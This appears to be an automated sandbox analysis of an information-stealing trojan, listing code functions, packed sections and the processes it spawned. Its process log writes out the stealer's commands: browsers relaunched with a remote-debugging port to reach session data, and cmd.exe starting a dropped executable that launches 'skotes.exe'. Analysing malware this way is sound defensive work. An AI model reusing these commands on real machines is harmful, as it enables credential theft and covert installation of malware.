Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9664C0	1_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C996CF0	1_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95D4E0	1_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995C10	1_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2C10	1_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CAC00	1_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C542B	1_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C545C	1_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C965440	1_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C990DD0	1_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B85F0	1_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97ED10	1_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C980512	1_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FD00	1_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C975E90	1_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BE680	1_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B4EA0	1_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95BEF0	1_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FEF0	1_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C76E3	1_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997E10	1_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A5600	1_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B9E30	1_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C979E50	1_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C993E50	1_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2E4E	1_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C974640	1_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C670	1_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C6E63	1_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A77A0	1_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C986FF0	1_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95DFE0	1_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997710	1_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C969F00	1_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9860A0	1_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C50C7	1_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97C0E0	1_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9958E0	1_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C967810	1_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99B820	1_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A4820	1_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C978850	1_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D850	1_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99F070	1_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995190	1_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B2990	1_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98D9B0	1_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C9A0	1_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97A940	1_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9AB970	1_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CB170	1_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96D960	1_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CBA90	1_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96CAB0	1_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C2AB0	1_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9522A0	1_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C984AA0	1_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C998AC0	1_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C971AF0	1_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99E2F0	1_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C999A60	1_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F380	1_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C53C8	1_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99D320	1_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C955340	1_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96C370	1_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C5E530	31_2_00C5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C978BB	31_2_00C978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C97049	31_2_00C97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C98860	31_2_00C98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C54DE0	31_2_00C54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C931A8	31_2_00C931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C92D10	31_2_00C92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C9779B	31_2_00C9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C54B30	31_2_00C54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C87F36	31_2_00C87F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: random[1].exe.31.dr	Static PE information: No import functions for PE file found
Source: d96f7523a6.exe.31.dr	Static PE information: No import functions for PE file found

Source: random[1].exe.31.dr	Static PE information: Data appended to the last section found
Source: d96f7523a6.exe.31.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000001.00000002.2754120647.00000000236B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2758282057.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: qjdxbwoo ZLIB complexity 0.9944758049097583
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: random[1].exe.1.dr	Static PE information: Section: aapaipka ZLIB complexity 0.9943748364608254
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: Section: aapaipka ZLIB complexity 0.9943748364608254
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: skotes.exe.26.dr	Static PE information: Section: aapaipka ZLIB complexity 0.9943748364608254

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/296@26/27

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\3LQRXA90.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d430c6cd-ca71-4e1e-bd40-b9c3c3bd0de7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2370734377.000000001D429000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2464826845.000000001D41D000.00000004.00000020.00020000.00000000.sdmp, IEGCBFHJDHJJKFIDBGIJ.1.dr, HCAAEGIJKEGHIDGCBAEB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2750577221.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757637894.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKJEGDBKFIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2864 --field-trial-handle=2212,i,4910576308310943370,12725647148356537901,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2356,i,13430815321648754466,13547412058668331737,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6576 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJEGDBKFIJ.exe "C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2864 --field-trial-handle=2212,i,4910576308310943370,12725647148356537901,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2356,i,13430815321648754466,13547412058668331737,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6576 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
